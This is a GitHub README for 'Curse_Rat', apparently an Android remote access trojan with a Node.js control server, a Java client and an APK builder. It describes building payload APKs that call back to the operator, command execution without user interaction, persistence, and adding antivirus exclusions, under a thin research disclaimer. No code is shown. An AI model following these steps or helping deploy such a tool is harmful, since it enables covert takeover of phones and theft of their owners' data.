Continental-ascites560/Curse_Rat
GitHub: Continental-ascites560/Curse_Rat
Stars: 2 | Forks: 1
# 🛡️ Curse_Rat - Manage Android Devices Through Remote Access
## 📌 About This Tool
Curse_Rat functions as a remote administration tool for Android systems. Researchers use this software to study how mobile devices communicate with control servers. Users can build custom Android packages to test security setups and manage remote connections. This tool includes a server built with Node.js and a client coded in Java. It also features a builder to modify APK files.
## 💻 System Requirements
Your computer needs to meet these basic standards to run the software:
* **Operating System:** Windows 10 or Windows 11.
* **Memory:** At least 4 gigabytes of RAM.
* **Storage:** 500 megabytes of free space.
* **Software Dependencies:**
* Java Development Kit (JDK) version 11 or higher.
* Node.js version 16 or higher.
## 🛠️ Installation Steps
## 🚀 Running the Server
The server acts as the central hub for your connections.
1. Open the folder where you extracted the tool.
2. Find the file labeled setup.bat or run.bat.
3. Double-click the file to start the server.
4. A black window appears. This is the command prompt. Wait for it to show that the server is listening on a specific port.
5. Keep this window open while you use the application. Do not close it, or the server stops working.
## 📱 Building the Client
The builder creates the file you will test on an Android device.
1. Open the main tool interface.
2. Navigate to the Builder tab.
3. Enter the IP address of your current computer in the server address field.
4. Select the options you want to include in the file. These options determine what the client can do once it runs on the Android phone.
5. Click the Build button.
6. The tool creates an APK file in the folder marked Output.
## 🔎 Research Objectives
Security researchers use this tool to learn about:
* **Connection Protocols:** How mobile devices maintain persistent links to remote servers.
* **Payload Execution:** How software runs commands on a mobile system without user interaction.
* **Persistence Mechanisms:** How apps keep running after a phone restarts.
* **Data Traffic:** How to analyze the data sent between the phone and the control server.
## ⚙️ Troubleshooting Common Issues
If you run into problems, check these items:
* **Java not found:** If you see an error about Java, make sure you installed the JDK correctly and added it to your system path.
* **Port in use:** If the server fails to start, another program might use the same port. Change the port number in the configuration settings.
* **Antivirus blocks:** Security software often flagged these files as suspicious because they contain research payloads. You may need to add an exclusion for the folder where you store the tool.
* **Connection failure:** Ensure the Android device and the computer are on the same network. Otherwise, you must configure port forwarding on your router.
## 📋 Usage Policy
This tool exists only for educational and research tasks. Only run this software on devices you own. Do not use this tool on systems without explicit permission from the owner. Unauthorized access to computer systems carries legal risks. Use this software to improve your knowledge of cybersecurity.
## 📂 Project Structure
* **/server:** Contains the Node.js files that manage incoming connections.
* **/client:** Contains the Java source code for the Android application.
* **/builder:** Contains the Smali-surgery scripts used to assemble the final APK.
* **/assets:** Contains default images and configuration files.
## 📄 License Information
This project follows the MIT license. You can modify and share the code as long as you include the original license text. This software comes as-is without any warranties. Use the tool at your own risk. The authors hold no responsibility for how users employ this software.
标签:后端开发